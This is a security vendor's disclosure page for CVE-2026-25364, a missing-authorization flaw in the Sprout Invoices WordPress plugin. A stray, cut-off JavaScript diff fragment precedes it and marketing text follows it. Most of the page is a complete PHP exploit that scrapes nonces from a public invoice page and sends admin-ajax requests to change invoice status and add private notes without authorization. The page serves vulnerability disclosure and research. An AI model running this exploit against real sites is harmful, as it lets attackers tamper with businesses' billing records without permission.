+		<script type="text/javascript" charset="utf-8">
+			var req_est_totals_data = {};
+			var req_estimate_chart = null;
+			var req_est_totals_button = jQuery('#req_est_totals_chart_filter');
+
+			function req_est

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25364 - Client Invoicing by Sprout Invoices <= 20.8.8 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-25364
 * Demonstrates unauthorized status change and private note creation
 * Requires a valid nonce from a publicly accessible invoice/estimate page
 */

$target_url = 'https://vulnerable-site.com';

// Step 1: Extract nonce from a public invoice page
// This simulates an attacker visiting a shared invoice link
function extract_nonce_from_page($invoice_url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $invoice_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Extract nonce from JavaScript variables
    // In Sprout Invoices, nonces are typically in si_js_object
    preg_match('/"change_status_nonce"s*:s*"([a-f0-9]+)"/', $response, $status_matches);
    preg_match('/"private_note_nonce"s*:s*"([a-f0-9]+)"/', $response, $note_matches);
    
    $nonces = [];
    if (!empty($status_matches[1])) {
        $nonces['change_status'] = $status_matches[1];
    }
    if (!empty($note_matches[1])) {
        $nonces['private_note'] = $note_matches[1];
    }
    
    // Extract document ID from URL or page
    preg_match('/post-([0-9]+)/', $response, $id_matches);
    if (!empty($id_matches[1])) {
        $nonces['document_id'] = $id_matches[1];
    }
    
    return $nonces;
}

// Step 2: Perform unauthorized status change
function exploit_status_change($base_url, $document_id, $nonce) {
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => 'si_maybe_change_status',
        'change_status_nonce' => $nonce,
        'id' => $document_id,
        'status' => 'complete'  // Change to any valid status: complete, pending, partial, etc.
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "Status Change Attempt:n";
    echo "HTTP Code: $http_coden";
    echo "Response: $responsenn";
    
    return json_decode($response, true);
}

// Step 3: Perform unauthorized private note creation
function exploit_private_note($base_url, $document_id, $nonce) {
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => 'si_maybe_create_private_note',
        'private_note_nonce' => $nonce,
        'associated_id' => $document_id,
        'notes' => 'Unauthorized note added via CVE-2026-25364'
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "Private Note Creation Attempt:n";
    echo "HTTP Code: $http_coden";
    echo "Response: $responsenn";
    
    return json_decode($response, true);
}

// Main execution
if ($_SERVER['argc'] > 1 && $_SERVER['argv'][1] == '--test') {
    // Example usage with a known invoice URL
    $invoice_url = $target_url . '/invoice/sample-invoice/';
    
    echo "CVE-2026-25364 Proof of Conceptn";
    echo "Target: $target_urlnn";
    
    // Extract nonces (in real attack, these come from visiting the page)
    $nonces = extract_nonce_from_page($invoice_url);
    
    if (empty($nonces)) {
        echo "Failed to extract nonces. The page may not be accessible or may not contain the expected JavaScript.n";
        exit(1);
    }
    
    echo "Extracted nonces:n";
    print_r($nonces);
    echo "n";
    
    // Test status change if we have the nonce
    if (isset($nonces['change_status']) && isset($nonces['document_id'])) {
        exploit_status_change($target_url, $nonces['document_id'], $nonces['change_status']);
    }
    
    // Test private note creation if we have the nonce
    if (isset($nonces['private_note']) && isset($nonces['document_id'])) {
        exploit_private_note($target_url, $nonces['document_id'], $nonces['private_note']);
    }
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School